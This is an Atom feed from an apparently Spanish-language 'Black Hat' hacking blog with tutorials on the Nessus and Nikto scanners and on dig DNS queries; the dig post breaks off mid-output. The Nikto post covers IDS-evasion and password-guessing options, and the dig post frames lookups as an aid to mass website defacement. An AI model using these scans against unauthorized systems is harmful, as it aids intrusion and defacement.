<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6813684401960882760</id><updated>2012-01-16T22:49:19.517-03:00</updated><category term='Metasploit'/><category term='Documentos Técnicos'/><category term='Ubuntu'/><category term='Hacking'/><category term='Manuales'/><category term='Extras'/><title type='text'>Zodiac</title><subtitle type='html'>Black Hat

Mitm Chilean Hackers Team</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://zodiac-mitm.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://zodiac-mitm.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Zodiac</name><uri>http://www.blogger.com/profile/03879808782798901865</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://vnuuk.typepad.com/photos/uncategorized/hacking.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>13</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6813684401960882760.post-1916658477463334426</id><published>2007-10-23T00:55:00.000-03:00</published><updated>2007-10-23T00:58:18.334-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Manuales'/><title type='text'>Manual Nessus</title><content type='html'>Introduccion:&lt;br /&gt;A pedido de muchas personas, y como veo que no hay muucha documentacion de Nessus, voy a hacer mi manual en español para instalarlo, actualizarlo y utilizarlo step-by-step (paso a paso) bajo linux. Pese a que a partir de la version 3.x la licencia del nessus no es gpl (es comercial) la guia va a ser de estas versiones, preferentemene de la 3.0.5.&lt;br /&gt;&lt;br /&gt;Descarga de Nessus:&lt;br /&gt;Por razones que no comprendo con exactitud, el proceso de instalacion del nessus es bastante e innecesariamente largo.&lt;br /&gt;Primero vamos a la pagina de nessus (&lt;a href="http://www.nessus.org/" target="_blank"&gt;www.nessus.org&lt;/a&gt;) y luego vamos a la parte de descargas (DOWNLOADS). Ahi nos da la opcion de elegir la version del nessus y el SO, ustedes elegiran el que quieran, yo recomiendo 3.0.5 para linux, porque este manual es para ese SO. Una vez seleccionado, presionamos el boton DOWNLOAD. A continuacion nos aparecera una licencia comercial que ni dan ganas de leerla. Bajamos y seleccionamos I accept (aunque piensen lo contario) xD. Despues de esto tenemos que llenar los casilleros con nuestros datos. Asegurense de poner el mail aunquesea correctamente porque es ahi donde recibiran un codigo de verificacion. Continuamos y por fin nos aparecen los links de descarga. Como podran apreciar, solo aparecen unas cuantas distros:&lt;br /&gt;&lt;br /&gt;Debian 3.1   Nessus-3.0.5-debian3_i386.deb   5928 KB&lt;br /&gt;Red Hat ES 3   Nessus-3.0.5-es3.i386.rpm   7249 KB&lt;br /&gt;Red Hat ES 4   Nessus-3.0.5-es4.i386.rpm   7288 KB&lt;br /&gt;Fedora Core 4   Nessus-3.0.5-fc4.i386.rpm   7831 KB&lt;br /&gt;Fedora Core 5   Nessus-3.0.5-fc5.i386.rpm   7864 KB&lt;br /&gt;Fedora Core 6   Nessus-3.0.5-fc6.i386.rpm   7866 KB&lt;br /&gt;SuSE 10           Nessus-3.0.5-suse10.0.i586.rpm   5726 KB&lt;br /&gt;SuSE 9.3   Nessus-3.0.5-suse9.3.i586.rpm   5742 KB&lt;br /&gt;&lt;br /&gt;Obviamente se bajan el que les corresponde, es posible que su distro no este ahi. Si su distro usa rpm bajense el de fedora, o red hat, o suse, seguro que les anda. Si usan .deb bajense el de debian, que seguro les va a andar. Si usan paquetes .tgz como yo (uso slackware), se van a tener que bajar el de SuSe 10 y lo van a tener que pasar a .tgz con el comando rpm2tgz que ya viene con slackware. Si usan otro paquete, manden un mail a &lt;a href="mailto:deraison@nessus.org"&gt;deraison@nessus.org&lt;/a&gt; donde el señor Renaud Deraison o su secretario/a les va a contestar amarga y hostilmente, pero la respuesta va a servir.&lt;br /&gt;&lt;br /&gt;Instalacion:&lt;br /&gt;&lt;br /&gt;Una vez que tienen su paquete preparado o bajado, lo tendran que instalar normalmente:&lt;br /&gt;&lt;br /&gt;En red hat o suse:&lt;br /&gt;&lt;br /&gt;rpm -ivh Nessus-3.0.5-*&lt;br /&gt;&lt;br /&gt;En Debian:&lt;br /&gt;&lt;br /&gt;dpkg -i Nessus-3.0.5-*&lt;br /&gt;&lt;br /&gt;Y en slackware:&lt;br /&gt;&lt;br /&gt;installpkg Nessus-3.0.5-*&lt;br /&gt;&lt;br /&gt;Si usan otra distro, sabran hacerlo.&lt;br /&gt;&lt;br /&gt;Una vez instalado, diriganse al directorio donde fue instalado Nessus, por defecto es /opt/nessus y ejecutamos el archivo nessus-add-first-user para crearle un usuario al Nessus.&lt;br /&gt;&lt;br /&gt;#cd /opt/nessus/sbin&lt;br /&gt;#./nessus-add-first-user&lt;br /&gt;Ahi llenenlo como quieran. Excepto en la parte de User rules:&lt;br /&gt;Si quieren leanse el nessus-adduser man page, pero es medio al pedo, alcanza con que pongan&lt;br /&gt;default-accept como regla para que el usuario pueda escanear un host remoto.&lt;br /&gt;&lt;br /&gt;Despues de eso, nos vamos al directorio bin/ y ejecutamos el nessus-mkcert-client&lt;br /&gt;&lt;br /&gt;#cd ..&lt;br /&gt;#cd bin/&lt;br /&gt;#./nessus-mkcert-client&lt;br /&gt;Y responden las preguntas como quieran, asegurense de que en la primer pregunta (Do you want to register the users in the Nessus server...) poner que si en el caso de que el usuario creado para nessus y el programa este instalado en la misma PC.&lt;br /&gt;&lt;br /&gt;En caso de que quieran hacer un segundo usuario para nessus (con mas o menos privilegios), hacen esto:&lt;br /&gt;&lt;br /&gt;#cd ..&lt;br /&gt;#cd sbin/&lt;br /&gt;#./nessus-adduser&lt;br /&gt;Y lo llenan con los datos que quieran.&lt;br /&gt;&lt;br /&gt;Una vez hecho esto, vamos a ejecutar el demonio de nessus. Con esto vamos a poner el servidor nessus. Esto es necesario hacerlo cada vez que van a usar el programa, ya que el cliente GTK de nessus e incluso la consola necesitan un servidor para conectarse. Sino no anda.&lt;br /&gt;&lt;br /&gt;#cd /opt/nessus/sbin&lt;br /&gt;#./nessusd -D&lt;br /&gt;&lt;br /&gt;Y dejamos que carguen los plugins (puede tardar unos minutos).&lt;br /&gt;&lt;br /&gt;Instalando el codigo de activacion:&lt;br /&gt;&lt;br /&gt;Por la paranohia de la gente de nessus, para utilizar el programa, hay que registrarlo con el codigo que es enviado gratuitamente a tu mail. Asi que abri tu casilla de correo y en el mail que te mandaron copia una licencia o codigo de activacion. Luego de copiarlo, anda a la consola y hace esto:&lt;br /&gt;&lt;br /&gt;#cd /opt/nessus/bin&lt;br /&gt;#./nessus-fetch --register CODIGO-DE-ACTIVACION-QUE-TIENEN&lt;br /&gt;&lt;br /&gt;Una vez finalizado esto, ya terminaron con la instalacion.&lt;br /&gt;&lt;br /&gt;ACTUALIZACION:&lt;br /&gt;&lt;br /&gt;En la pagina de nessus, los plugins se actualizan constantemente. Por lo tanto, siempre te conviene estar al dia. Hay dos formas para actualizar:&lt;br /&gt;&lt;br /&gt;1)La mas comoda y recomendada:&lt;br /&gt;&lt;br /&gt;Vamos a la consola y escribimos esto:&lt;br /&gt;&lt;br /&gt;#cd /opt/nessus/sbin&lt;br /&gt;#./nessus-update-plugins&lt;br /&gt;&lt;br /&gt;Va a tardar un buen rato. Esto deberias hacerlo todos los dias para mantenerte al dia con los plugins.&lt;br /&gt;&lt;br /&gt;2)Menos comoda:&lt;br /&gt;&lt;br /&gt;Vas a la pagina de nessus, vas a la parte de plugins, seleccionas los que te interesan, los copias y los pegas en /opt/nessus/lib/nessus/plugins con formato .nasl usando el editor de texto que quieras. Esto se usa porque cuando actualizas, los plugins mas viejos no se bajan, por lo tanto te conviene hacerlo con los plugins que mas te interesen, por lo menos una vez.&lt;br /&gt;&lt;br /&gt;Listo &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt; Solo falta que les explique como usarlo.&lt;br /&gt;&lt;br /&gt;UTILIZACION DEL NESSUS:&lt;br /&gt;&lt;br /&gt;Hay dos formas de usar el nessus: con el cliente GTK y el cliente de consola. Yo uso la consola porque me gusta mas. Asi que les voy a enseñar como hacerlo desde la consola suponiendo que no arrancaron el server&lt;br /&gt;&lt;br /&gt;#cd /opt/nessus/sbin&lt;br /&gt;#./nessusd -D //Arrancamos el server en modo demonio o background&lt;br /&gt;#cd ..&lt;br /&gt;#cd bin/&lt;br /&gt;#vim targets.txt //Aca usamos el editor que queramos, en mi caso el vim, para crear el archivo donde se encuentren los hosts a escanear. Adentro del archivo debemos poner el host o la IP&lt;br /&gt;#./nessus -q 127.0.0.1 1241 usuariodenessus contraseñadelusuario /opt/nessus/bin/targets.txt /opt/nessus/bin/resultados.txt //El archivo targets debe ser creado si o si antes de ejecutar el cliente, le pueden poner cualquier nombre y donde quieran, siempre especifiquen la ubicacion. El archivo resultados.txt lo crea el nessus, ahi van los logs del escaneo. Donde dice usuariodenessus va el usuario que le crearon a nessus y en contraseñadelusuario, obviamente va la contraseña del usuario.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Autor: Tiger&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6813684401960882760-1916658477463334426?l=zodiac-mitm.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zodiac-mitm.blogspot.com/feeds/1916658477463334426/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6813684401960882760&amp;postID=1916658477463334426' title='4 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/1916658477463334426'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/1916658477463334426'/><link rel='alternate' type='text/html' href='http://zodiac-mitm.blogspot.com/2007/10/manual-nessus.html' title='Manual Nessus'/><author><name>Zodiac</name><uri>http://www.blogger.com/profile/03879808782798901865</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://vnuuk.typepad.com/photos/uncategorized/hacking.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6813684401960882760.post-5963369831322624377</id><published>2007-10-23T00:54:00.000-03:00</published><updated>2007-10-23T00:58:18.334-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Manuales'/><title type='text'>Manual Nikto</title><content type='html'>&lt;b&gt;&lt;span style="text-decoration: underline;"&gt;Breve introducción:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Nikto es un scanner para servidores web realizado en Perl (obviamente tiene licencia Open Source GPL) que corre bajo linux y tiene una gran base de datos de ataques CGI  y mas en 230 tipos de servidores distintos. Es utilizado tanto para seguridad como para buscar vulnerabilidades en servidores.&lt;br /&gt;La version actual es la 1.36.&lt;br /&gt;&lt;br /&gt;Más información: &lt;a href="http://www.cirt.net/code/nikto.shtml" target="_blank"&gt;http://www.cirt.net/code/nikto.shtml&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="text-decoration: underline;"&gt;Manual:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;*Para comenzar bajense el source, en lo posible el bz2 que viene mas comprimido:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.cirt.net/nikto/nikto-1.36.tar.bz2" target="_blank"&gt;http://www.cirt.net/nikto/nikto-1.36.tar.bz2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Aunque tambien esta el gz:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.cirt.net/nikto/nikto-current.tar.gz" target="_blank"&gt;http://www.cirt.net/nikto/nikto-current.tar.gz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;*Ahora si, una vez que lo bajan lo extraen y colocan la carpeta donde quieran. Entran a la carpeta y ejecutan el archivo principal nikto.pl con las opciones correspondientes. A continuación voy a proceder a describir las opciones más comunes (las que estan en negrita son obligatorias, las demas no):&lt;br /&gt;&lt;br /&gt;NOTA: Se pueden abreviar escribiendo la primer letra de la palabra, ej: Cgidirs: -C, cookies -c, evasion -e&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="text-decoration: underline;"&gt;-Cgidirs: Scanear los directorios CGI; tienen que especificar. Las opciones que se pueden utilizar son: none (ninguno) all (todos) o alguno en especifico que quieran ustedes, ej: /cgi/ &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;-cookies: muestra las cookies que son encontradas&lt;br /&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;&lt;b&gt;-evasion: Esto habilita la deteccion de intrusiones por medio de tecnicas de evasion; se pueden utilizar las siguientes tecnicas:&lt;br /&gt;                   1     Random URI encoding(cuando el encoding del webserver no es UTF8)&lt;br /&gt;                   2     Add directory self-reference /./ (usar en servidores unix)&lt;br /&gt;                   3     Premature URL ending&lt;br /&gt;                   4     Prepend long random string to request&lt;br /&gt;                   5     Fake parameters to files&lt;br /&gt;                   6     TAB as request spacer instead of spaces&lt;br /&gt;                   7     Random case sensitivity&lt;br /&gt;                   8     Use Windows directory separator \ instead of / (usar en servidores windows)&lt;br /&gt;                   9     Session splicing&lt;br /&gt;ej: -e 8&lt;br /&gt;En caso de que quieran usar mas de 1: -e 15 (usamos el 1 y el 5)&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-findonly: encontrar solamente el puerto http(s) en el/los servidore/s y no realizar un scaneado completo.&lt;br /&gt;&lt;br /&gt;-Format: guardar los logs con un formato a especificar, puede ser: html, csv o txt&lt;br /&gt;&lt;br /&gt;-generic: forzar al scaner a realizar un scaneado completo (poco utilizado)&lt;br /&gt;&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;&lt;b&gt;-host: el host a scanear&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-id: autentificacion para el host, se suele utilizar asi: iddeusuario:contraseña (&lt;br /&gt;&lt;br /&gt;-mutate: Utilizar técnicas de mutación (se recomienda utilizarlo para un mejor scaneo):&lt;br /&gt;   Mutation Techniques:&lt;br /&gt;        1       Test all files with all root directories (probar todos los archivos con todos los directorios de usuario root)&lt;br /&gt;        2       Guess for password file names (Adivinar contraseñas)&lt;br /&gt;        3       Enumerate user names via Apache (/~user type requests) (enumerar usuarios via apache)&lt;br /&gt;        4       Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests) (enumerar usuarios via cgiwrap)&lt;br /&gt;Se utiliza como las tecnicas de evasion&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-nolookup: No realizar el lookup a el servidor (poco utilizado)&lt;br /&gt;&lt;br /&gt;-output: Para guardar en un fichero de salida (no es obiligatorio pero se recomienda)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="text-decoration: underline;"&gt;-port: Puerto a scanear (generalmente 80)&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;-root: poner permisos de root a todos los pedidos, el formato es: /directorio (no es obligatorio, pero se recomienda)&lt;br /&gt;&lt;br /&gt;-ssl: forzar modo ssl al puerto a scanear&lt;br /&gt;&lt;br /&gt;-timeout: utilizar para especificar un timeout (cuando el tiempo de espera se agota) (por defecto es de 10 segundos)&lt;br /&gt;&lt;br /&gt;-useproxy: utilizar la configuracion del proxy indicada en el archivo config.txt&lt;br /&gt;&lt;br /&gt;-Version: mostrar version de la base de datos y de los plugins&lt;br /&gt;&lt;br /&gt;-vhost: utilizar host virtual (requiere un argumento)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Opciones que no pueden ser abreviadas:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;-config: seleccionar archivo de configuración&lt;br /&gt;&lt;br /&gt;-debug: modo de debugging&lt;br /&gt;&lt;br /&gt;-verbose: utilizar en modo verbose (RULEZ &lt;img src="http://uf.yethost.com/Smileys/default/tongue.gif" alt="tongue" border="0" /&gt;)&lt;br /&gt;&lt;br /&gt;-update: actualizar el programa (vease base de datos, plugins)&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;Espero que les haya gustado, aca les dejo un ejemplo de como utilizarlo:&lt;br /&gt;&lt;br /&gt;root@undergroundfusion.net# ./nikto.pl -C all -e 2 -h &lt;a href="http://www.underground-fusion.net/" target="_blank"&gt;www.underground-fusion.net&lt;/a&gt; -p 80 -m 2 -verbose&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Autor: Tiger&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6813684401960882760-5963369831322624377?l=zodiac-mitm.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zodiac-mitm.blogspot.com/feeds/5963369831322624377/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6813684401960882760&amp;postID=5963369831322624377' title='1 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/5963369831322624377'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/5963369831322624377'/><link rel='alternate' type='text/html' href='http://zodiac-mitm.blogspot.com/2007/10/manual-nikto.html' title='Manual Nikto'/><author><name>Zodiac</name><uri>http://www.blogger.com/profile/03879808782798901865</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://vnuuk.typepad.com/photos/uncategorized/hacking.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6813684401960882760.post-2133744796560631648</id><published>2007-10-23T00:45:00.000-03:00</published><updated>2007-10-23T00:51:39.635-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Manuales'/><title type='text'>Manual Dig</title><content type='html'>Dig es una herramienta principalmente de linux, utilizada para el envio de ordenes DNS, esta herramienta es muy util hablando de defacing, y de detectar que webs estan en un server (utilizado para mass defacement), sin mas que decir comenzemos:&lt;br /&gt;&lt;br /&gt;El primer comando que es de los que mas destaca de los que utilizaremos es el siguiente:&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig ns&lt;/div&gt;&lt;br /&gt;Este comando nos devolvera una lista de super DNS, que podremos utilizar para trabajar:&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; ns&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 4874&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 13&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;.                              IN      NS&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;.                       234977  IN      NS      L.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      M.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      A.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      B.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      C.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      D.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      E.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      F.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      G.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      H.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      I.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      J.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      K.ROOT-SERVERS.NET.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;M.ROOT-SERVERS.NET.     30938   IN      A       202.12.27.33&lt;br /&gt;A.ROOT-SERVERS.NET.     591011  IN      A       198.41.0.4&lt;br /&gt;B.ROOT-SERVERS.NET.     30938   IN      A       192.228.79.201&lt;br /&gt;C.ROOT-SERVERS.NET.     39988   IN      A       192.33.4.12&lt;br /&gt;D.ROOT-SERVERS.NET.     53749   IN      A       128.8.10.90&lt;br /&gt;E.ROOT-SERVERS.NET.     30938   IN      A       192.203.230.10&lt;br /&gt;F.ROOT-SERVERS.NET.     591011  IN      A       192.5.5.241&lt;br /&gt;G.ROOT-SERVERS.NET.     53680   IN      A       192.112.36.4&lt;br /&gt;H.ROOT-SERVERS.NET.     30939   IN      A       128.63.2.53&lt;br /&gt;I.ROOT-SERVERS.NET.     40043   IN      A       192.36.148.17&lt;br /&gt;J.ROOT-SERVERS.NET.     591011  IN      A       192.58.128.30&lt;br /&gt;K.ROOT-SERVERS.NET.     591011  IN      A       193.0.14.129&lt;br /&gt;L.ROOT-SERVERS.NET.     30938   IN      A       198.32.64.12&lt;br /&gt;&lt;br /&gt;;; Query time: 383 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:09:15 2007&lt;br /&gt;;; MSG SIZE  rcvd: 436&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size: 15pt; line-height: 1.3em;"&gt;&lt;b&gt;&lt;br /&gt;Algunas funciones de dig:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;Tracer:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig web.com +trace&lt;/div&gt;Bueno creo que es logico lo que hace.....&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Resolver DNS de una web:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig web.com NS&lt;/div&gt;&lt;br /&gt;Esto nos devuelve la lista de los servidores DNS de determinada web.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ejemplo:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com NS&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com NS&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 27071&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      NS&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             64768   IN      NS      ns1.google.com.&lt;br /&gt;google.com.             64768   IN      NS      ns2.google.com.&lt;br /&gt;google.com.             64768   IN      NS      ns3.google.com.&lt;br /&gt;google.com.             64768   IN      NS      ns4.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns2.google.com.         345450  IN      A       216.239.34.10&lt;br /&gt;ns3.google.com.         345450  IN      A       216.239.36.10&lt;br /&gt;ns4.google.com.         345450  IN      A       216.239.38.10&lt;br /&gt;ns1.google.com.         345450  IN      A       216.239.32.10&lt;br /&gt;&lt;br /&gt;;; Query time: 276 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:26:59 2007&lt;br /&gt;;; MSG SIZE  rcvd: 164&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Listar Servidores de Correo de determinado dominio:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com MX&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com MX&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 35446&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      MX&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             4237    IN      MX      10 smtp1.google.com.&lt;br /&gt;google.com.             4237    IN      MX      10 smtp2.google.com.&lt;br /&gt;google.com.             4237    IN      MX      10 smtp3.google.com.&lt;br /&gt;google.com.             4237    IN      MX      10 smtp4.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;smtp2.google.com.       1054    IN      A       64.233.167.25&lt;br /&gt;smtp3.google.com.       1060    IN      A       64.233.183.25&lt;br /&gt;smtp4.google.com.       1066    IN      A       72.14.215.25&lt;br /&gt;smtp1.google.com.       3329    IN      A       72.14.203.25&lt;br /&gt;&lt;br /&gt;;; Query time: 583 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:28:39 2007&lt;br /&gt;;; MSG SIZE  rcvd: 180&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Consultar datos de un Dominio en determinado servidor DNS:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com @ns1.google.com&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com @ns1.google.com&lt;br /&gt;; (1 server found)&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 34414&lt;br /&gt;;; flags: qr aa rd; QUERY: 1, ANSWER: 3, AUTHORITY: 4, ADDITIONAL: 4&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      A&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             300     IN      A       64.233.167.99&lt;br /&gt;google.com.             300     IN      A       72.14.207.99&lt;br /&gt;google.com.             300     IN      A       64.233.187.99&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;google.com.             345600  IN      NS      ns1.google.com.&lt;br /&gt;google.com.             345600  IN      NS      ns2.google.com.&lt;br /&gt;google.com.             345600  IN      NS      ns3.google.com.&lt;br /&gt;google.com.             345600  IN      NS      ns4.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns1.google.com.         345600  IN      A       216.239.32.10&lt;br /&gt;ns2.google.com.         345600  IN      A       216.239.34.10&lt;br /&gt;ns3.google.com.         345600  IN      A       216.239.36.10&lt;br /&gt;ns4.google.com.         345600  IN      A       216.239.38.10&lt;br /&gt;&lt;br /&gt;;; Query time: 1124 msec&lt;br /&gt;;; SERVER: 216.239.32.10#53(216.239.32.10)&lt;br /&gt;;; WHEN: Tue Sep 25 20:30:38 2007&lt;br /&gt;;; MSG SIZE  rcvd: 212&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;DNS Inverso:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig -x google.com&lt;br /&gt;&lt;br /&gt;; 